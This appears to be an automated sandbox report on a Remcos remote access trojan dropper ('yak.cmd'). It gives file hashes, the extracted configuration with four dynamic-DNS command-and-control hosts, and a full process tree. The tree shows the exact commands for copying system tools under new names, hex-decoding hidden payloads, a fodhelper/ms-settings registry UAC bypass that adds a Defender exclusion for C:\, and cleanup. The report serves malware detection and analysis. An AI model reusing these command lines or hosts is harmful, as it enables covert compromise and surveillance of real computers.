Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    17-05-2024 20:47

General

  • Target

    yak.cmd

  • Size

    2.8MB

  • MD5

    0686c44528057a8ca6a5559a7e333917

  • SHA1

    dc8566bf211b2c42d8f3b2187e39a33f5a007673

  • SHA256

    a3e3461ddb704fa103ebe9a2c05e3cfd8389f118d1e5b20f2039337ce7306767

  • SHA512

    02abc13471641c84d0abd35a0ea2a5645dc4dd4a3649c1654cb7b03903a5738ea7d7418a0cb1a80306a79962d5cb111bbb9121d3b551368495f0ad63f86538b2

  • SSDEEP

    24576:WsYQ30r2rIZonlOnDs1xs2BI3wh9nyd83WpMTpcmBiKnvGGnxPfxBJGhRCyQ6:WFQ30LZDnQW2BI3whly8WxkzR0Q6

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

myumysmeetr.ddns.net:2404

mysweeterbk.ddns.net:2404

meetre1ms.freeddns.org:2404

bbhmeetre1ms.freeddns.org:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-TPT9X3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 17 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\yak.cmd"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3012
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:2708
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:2056
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3052
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\yak.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\yak.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:2688
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2620
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:2572
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3032
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:2152
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2764
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:2768
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2508
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2636
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:2544
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:2516
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:2972
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:684
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1064
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                • Suspicious behavior: EnumeratesProcesses
                PID:2204
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Duchpovs.PIF
                  3⤵
                    PID:1832
                  • C:\Windows\SysWOW64\SndVol.exe
                    C:\Windows\System32\SndVol.exe
                    3⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2356
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:2244
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:2264
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:2248
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2024
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2348
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1212
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2368
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2032
              • C:\Windows\system32\AUDIODG.EXE
                C:\Windows\system32\AUDIODG.EXE 0xc4
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2512

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\ProgramData\remcos\logs.dat

                Filesize

                222B

                MD5

                6be6b5e3d2a8a4607b2f95f26a21cb74

                SHA1

                3b5d7edc52b169a9aa532ced089e35a06d89145a

                SHA256

                e3adafbe3c9eac09a15c9078ac28fe0bd89d2fbcbe1a236bd5b03c0f7656b420

                SHA512

                efbb0b89861be538355552325694ded9e39cd5c5ff55c3fe54c3d1326e09c2e6325a29c2f7177d76eec8a08afef3bd29b37ce60ef25eb52027b099281f7c6883

              • C:\ProgramData\remcos\logs.dat

                Filesize

                308B

                MD5

                98a76365eb9bdd9495c6476c55abcbe0

                SHA1

                c3b6f62abdda4b414b0547666c643a81871927ab

                SHA256

                af4ad68a4d9b6c69f82be3700624b9cdb3b87ad23234cd1b78fd10587ffdb4d6

                SHA512

                2a1b357459c2cdc22f06f160ed5ff545acdae04f79d52452a310e1d9a62a726057f9611778255385ac07cf556e516a007099e76ca439377f90d6768e0a3aaf58

              • C:\Users\Public\Libraries\Ping_c.pif

                Filesize

                947KB

                MD5

                644e25ea5330d2eb902c8f658c60891f

                SHA1

                a5a3272a74576702aef0d0b34ffdfb6193562b10

                SHA256

                82a725856f92cb4cef9df55db15792b22b9d887082264bf39456ad08bf98a77c

                SHA512

                8ee9e3d400a674bc5b0d66123ec43b1ff6eb8914be89c4c498c2cb5a33a3611c0f507ebb66d859e2f0f2c11120d276d4a0c3145050101157f99bb031cdf2bcf9

              • C:\Users\Public\Ping_c.mp4

                Filesize

                1.9MB

                MD5

                72f92e47f66de5e830405b6d5953f217

                SHA1

                46ad681c7eaf8b176c3caff6e3c09840a5c65bdf

                SHA256

                458817af56aba58f4becaa2ec1c18d19c0874ae7d151fe80edd8d04b06250c41

                SHA512

                545cf43aa52a8e64109183571ff937f2da48b9d9d3da9427a7551d8c4b640ffdb49d5d28bed1a081e35da71464a6c8f5da15af29a82be069f7e7e2de6304e68f

              • C:\Users\Public\alpha.exe

                Filesize

                337KB

                MD5

                5746bd7e255dd6a8afa06f7c42c1ba41

                SHA1

                0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                SHA256

                db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                SHA512

                3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

              • C:\Users\Public\kn.exe

                Filesize

                1.1MB

                MD5

                ec1fd3050dbc40ec7e87ab99c7ca0b03

                SHA1

                ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                SHA256

                1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                SHA512

                4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

              • \Users\Public\ger.exe

                Filesize

                73KB

                MD5

                9d0b3066fe3d1fd345e86bc7bcced9e4

                SHA1

                e05984a6671fcfecbc465e613d72d42bda35fd90

                SHA256

                4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

                SHA512

                d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

              • \Users\Public\xkn.exe

                Filesize

                462KB

                MD5

                852d67a27e454bd389fa7f02a8cbe23f

                SHA1

                5330fedad485e0e4c23b2abe1075a1f984fde9fc

                SHA256

                a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                SHA512

                327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

              • memory/2204-75-0x0000000000400000-0x00000000004F5000-memory.dmp

                Filesize

                980KB

              • memory/2356-100-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-105-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-97-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-101-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-95-0x00000000030E0000-0x00000000040E0000-memory.dmp

                Filesize

                16.0MB

              • memory/2356-104-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-103-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-102-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-113-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-112-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-129-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-120-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2356-128-0x000000001AFA0000-0x000000001B022000-memory.dmp

                Filesize

                520KB

              • memory/2636-44-0x0000000000390000-0x0000000000398000-memory.dmp

                Filesize

                32KB

              • memory/2636-43-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

                Filesize

                2.9MB